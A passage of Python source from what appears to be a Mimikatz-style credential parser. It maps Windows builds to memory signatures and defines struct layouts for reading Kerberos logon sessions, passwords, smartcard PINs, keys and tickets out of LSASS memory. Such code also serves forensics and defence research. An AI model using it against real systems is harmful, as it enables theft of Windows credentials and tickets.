KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' template.first_entry_offset = -8 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' template.first_entry_offset = -8 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x53\x8b\x18\x50\x56' template.first_entry_offset = -11 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x53\x8b\x18\x50\x56' template.first_entry_offset = -11 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value: template.signature = b'\x57\x8b\x38\x50\x68' template.first_entry_offset = -14 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!! #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber: template.signature = b'\x56\x8b\x30\x50\x53' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKERB_SMARTCARD_CSP_INFO_5(POINTER): def __init__(self, reader): super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5) class KERB_SMARTCARD_CSP_INFO_5: def __init__(self, reader, size): pos = reader.tell() #self.dwCspInfoLen = DWORD(reader).value self.ContextInformation = PVOID(reader).value self.nCardNameOffset = ULONG(reader).value self.nReaderNameOffset = ULONG(reader).value self.nContainerNameOffset = ULONG(reader).value self.nCSPNameOffset = ULONG(reader).value diff = reader.tell() - pos data = reader.read(size - diff + 4) self.bBuffer = io.BytesIO(data) def read_wcharnull(self, buffer, tpos): pos = buffer.tell() buffer.seek(tpos, 0) data = b'' i=0 nc = 0 while i < 255: if nc == 3: break c = buffer.read(1) if c == b'\x00': nc += 1 else: nc = 0 data += c i += 1 buffer.seek(pos, 0) return data.decode('utf-16-le').replace('\x00', '') def get_infos(self): t = {} t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) return t class PKERB_SMARTCARD_CSP_INFO(POINTER): def __init__(self, reader): super().__init__(reader, KERB_SMARTCARD_CSP_INFO) class KERB_SMARTCARD_CSP_INFO: def __init__(self, reader, size): pos = reader.tell() #self.dwCspInfoLen = DWORD(reader).value self.MessageType = DWORD(reader).value self.ContextInformation = PVOID(reader).value #U self.SpaceHolderForWow64 = ULONG64(reader).value #U self.flags = DWORD(reader).value self.KeySpec = DWORD(reader).value self.nCardNameOffset = ULONG(reader).value * 2 self.nReaderNameOffset = ULONG(reader).value * 2 self.nContainerNameOffset = ULONG(reader).value * 2 self.nCSPNameOffset = ULONG(reader).value * 2 diff = reader.tell() - pos data = reader.read(size - diff + 4) self.bBuffer = io.BytesIO(data) def read_wcharnull(self, buffer, tpos): pos = buffer.tell() buffer.seek(tpos, 0) data = b'' i=0 nc = 0 while i < 255: if nc == 3: break c = buffer.read(1) if c == b'\x00': nc += 1 else: nc = 0 data += c i += 1 buffer.seek(pos, 0) return data.decode('utf-16-le').replace('\x00', '') def get_infos(self): t = {} t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) return t class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5) class KIWI_KERBEROS_CSP_INFOS_5: def __init__(self, reader): self.PinCode = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader) self.unk1 = PVOID(reader) self.CertificateInfos = PVOID(reader) self.unkData = PVOID(reader) # // 0 = CspData self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value self.CspDataLength = DWORD(reader).value self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength) class PKIWI_KERBEROS_CSP_INFOS_60(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60) class KIWI_KERBEROS_CSP_INFOS_60: def __init__(self, reader): self.PinCode = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.CertificateInfos = PVOID(reader).value self.unkData = PVOID(reader).value # // 0 = CspData self.Flags = DWORD(reader).value #// 0 = CspData(reader).value self.unkFlags = DWORD(reader).value #// 0x141(reader).value self.CspDataLength = DWORD(reader).value self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62) class KIWI_KERBEROS_CSP_INFOS_62: def __init__(self, reader): self.PinCode = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.CertificateInfos = PVOID(reader).value self.unk2 = PVOID(reader).value self.unkData = PVOID(reader).value #// 0 = CspData(reader).value self.Flags = DWORD(reader).value #// 0 = CspData(reader).value self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61) self.CspDataLength = DWORD(reader).value self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) class PKIWI_KERBEROS_CSP_INFOS_10(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10) class KIWI_KERBEROS_CSP_INFOS_10: def __init__(self, reader): self.PinCode = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.CertificateInfos = PVOID(reader).value self.unk2 = PVOID(reader).value self.unkData = PVOID(reader).value #// 0 = CspData self.Flags = DWORD(reader).value #// 0 = CspData(reader).value self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value self.unk3 = PVOID(reader).value self.CspDataLength = DWORD(reader).value self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51) class KIWI_KERBEROS_LOGON_SESSION_51: def __init__(self, reader): self.UsageCount = ULONG(reader).value self.unk0 = LIST_ENTRY(reader) self.unk1 = LIST_ENTRY(reader) self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value # // filetime.1 ? self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.unk7 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value reader.align(8) #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value self.unk8 = FILETIME(reader).value self.unk9 = PVOID(reader).value self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value self.unk14 = PVOID(reader).value self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value self.unk18 = ULONG(reader).value self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.pKeyList = PVOID(reader) self.unk24 = PVOID(reader).value self.Tickets_1 = LIST_ENTRY(reader) self.Tickets_2 = LIST_ENTRY(reader) self.Tickets_3 = LIST_ENTRY(reader) self.SmartcardInfos = PVOID(reader) class PKIWI_KERBEROS_LOGON_SESSION(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION) class KIWI_KERBEROS_LOGON_SESSION: def __init__(self, reader): self.UsageCount = ULONG(reader).value reader.align() self.unk0 = LIST_ENTRY(reader) self.unk1 = PVOID(reader).value self.unk2 = ULONG(reader).value # // filetime.1 ? self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value reader.align(8) self.unk7 = FILETIME(reader).value self.unk8 = PVOID(reader).value self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value self.unk11 = PVOID(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) self.unk14 = ULONG(reader).value self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value self.unk18 = PVOID(reader).value self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.pKeyList = PVOID(reader) self.unk23 = PVOID(reader).value reader.align() self.Tickets_1 = LIST_ENTRY(reader) self.unk24 = FILETIME(reader).value self.Tickets_2 = LIST_ENTRY(reader) self.unk25 = FILETIME(reader).value self.Tickets_3 = LIST_ENTRY(reader) self.unk26 = FILETIME(reader).value self.SmartcardInfos = PVOID(reader) class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL) class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL: def __init__(self, reader): self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.Password = LSA_UNICODE_STRING(reader) class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10) class KIWI_KERBEROS_LOGON_SESSION_10_X86: def __init__(self, reader): self.UsageCount = ULONG(reader).value reader.align() self.unk0 = LIST_ENTRY(reader) self.unk1 = PVOID(reader).value self.unk1b = ULONG(reader).value reader.align() self.unk2 = FILETIME(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value #print(hex(self.LocallyUniqueIdentifier)) #input('unk7\n' + hexdump(reader.peek(0x100))) reader.align() self.unk7 = FILETIME(reader).value self.unk8 = PVOID(reader).value self.unk8b = ULONG(reader).value reader.align() self.unk9 = FILETIME(reader).value self.unk11 = PVOID(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value reader.align(8) #input('credentials\n' + hexdump(reader.peek(0x100))) self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) self.unk14 = ULONG(reader).value self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value #//PVOID unk18 = (reader).value reader.align(8) self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = PVOID(reader).value self.unk24 = PVOID(reader).value self.unk25 = PVOID(reader).value self.pKeyList = PVOID(reader) self.unk26 = PVOID(reader).value #input('pKeyList\n' + hexdump(reader.peek(0x100))) reader.align() #input('Tickets_1\n' + hexdump(reader.peek(0x100))) self.Tickets_1 = LIST_ENTRY(reader) self.unk27 = FILETIME(reader).value self.Tickets_2 = LIST_ENTRY(reader) self.unk28 = FILETIME(reader).value self.Tickets_3 = LIST_ENTRY(reader) self.unk29 = FILETIME(reader).value self.SmartcardInfos = PVOID(reader) class KIWI_KERBEROS_LOGON_SESSION_10: def __init__(self, reader): self.UsageCount = ULONG(reader).value reader.align() self.unk0 = LIST_ENTRY(reader) self.unk1 = PVOID(reader).value self.unk1b = ULONG(reader).value reader.align() self.unk2 = FILETIME(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value self.unk7 = FILETIME(reader).value self.unk8 = PVOID(reader).value self.unk8b = ULONG(reader).value reader.align() self.unk9 = FILETIME(reader).value self.unk11 = PVOID(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) self.unk14 = ULONG(reader).value self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value #self.unk18 = PVOID(reader).value self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = PVOID(reader).value self.unk24 = PVOID(reader).value self.unk25 = PVOID(reader).value self.pKeyList = PVOID(reader) self.unk26 = PVOID(reader).value self.Tickets_1 = LIST_ENTRY(reader) self.unk27 = FILETIME(reader).value self.Tickets_2 = LIST_ENTRY(reader) self.unk28 = FILETIME(reader).value self.Tickets_3 = LIST_ENTRY(reader) self.unk29 = FILETIME(reader).value self.SmartcardInfos = PVOID(reader) class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO) class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO: def __init__(self, reader): self.StructSize = DWORD(reader).value reader.align() self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned = class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607: def __init__(self, reader): self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unkFunction = PVOID(reader).value self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value reader.align() self.Password = LSA_UNICODE_STRING(reader) # union { self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader) class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607) class KIWI_KERBEROS_LOGON_SESSION_10_1607: def __init__(self, reader): #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) self.UsageCount = ULONG(reader).value reader.align() self.unk0 = LIST_ENTRY(reader) self.unk1 = PVOID(reader).value self.unk1b = ULONG(reader).value reader.align() self.unk2 = FILETIME(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value self.unk7 = FILETIME(reader).value self.unk8 = PVOID(reader).value self.unk8b = ULONG(reader).value reader.align() self.unk9 = FILETIME(reader).value self.unk11 = PVOID(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value reader.align(8) self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) self.unk14 = ULONG(reader).value self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value self.unk18 = PVOID(reader).value self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = PVOID(reader).value #self.unk24 = PVOID(reader).value #self.unk25 = PVOID(reader).value reader.align() #reader.read(8+12) #input('pkeylist \n' + hexdump(reader.peek(0x50))) self.pKeyList = PVOID(reader) self.unk26 = PVOID(reader).value self.Tickets_1 = LIST_ENTRY(reader) self.unk27 = FILETIME(reader).value self.Tickets_2 = LIST_ENTRY(reader) self.unk28 = FILETIME(reader).value self.Tickets_3 = LIST_ENTRY(reader) self.unk29 = FILETIME(reader).value self.SmartcardInfos = PVOID(reader) class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86: def __init__(self, reader): #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) self.UsageCount = ULONG(reader).value reader.align() self.unk0 = LIST_ENTRY(reader) self.unk1 = PVOID(reader).value self.unk1b = ULONG(reader).value reader.align() self.unk2 = FILETIME(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier)) self.unk7 = FILETIME(reader).value self.unk8 = PVOID(reader).value self.unk8b = ULONG(reader).value reader.align() self.unk9 = FILETIME(reader).value self.unk11 = PVOID(reader).value self.unk12 = PVOID(reader).value self.unk13 = PVOID(reader).value self.unkAlign = ULONG(reader).value #input('credentials \n' + hexdump(reader.peek(0x200))) self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) self.unk14 = ULONG(reader).value self.unk15 = ULONG(reader).value self.unk16 = ULONG(reader).value self.unk17 = ULONG(reader).value self.unk18 = PVOID(reader).value self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = PVOID(reader).value #self.unk24 = PVOID(reader).value #self.unk25 = PVOID(reader).value reader.align() self.pKeyList = PVOID(reader) self.unk26 = PVOID(reader).value #input('Tickets_1 \n' + hexdump(reader.peek(0x200))) self.Tickets_1 = LIST_ENTRY(reader) self.unk27 = FILETIME(reader).value self.Tickets_2 = LIST_ENTRY(reader) self.unk28 = FILETIME(reader).value self.Tickets_3 = LIST_ENTRY(reader) self.unk29 = FILETIME(reader).value self.SmartcardInfos = PVOID(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51) class KIWI_KERBEROS_INTERNAL_TICKET_51: def __init__(self, reader): self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.ClientName = PKERB_EXTERNAL_NAME(reader) self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.KeyType = ULONG(reader).value self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.unk6 = PVOID(reader).value self.unk7 = PVOID(reader).value self.unk8 = PVOID(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk9 = ULONG(reader).value self.unk10 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk11 = ULONG(reader).value self.strangeNames = PVOID(reader).value self.unk12 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52) class KIWI_KERBEROS_INTERNAL_TICKET_52: def __init__(self, reader): self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.KeyType = ULONG(reader).value self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60) class KIWI_KERBEROS_INTERNAL_TICKET_60: def __init__(self, reader): self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) #//LSA_UNICODE_STRING KDCServer = //?(reader).value self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.KeyType = ULONG(reader).value self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER): def __init__(self, 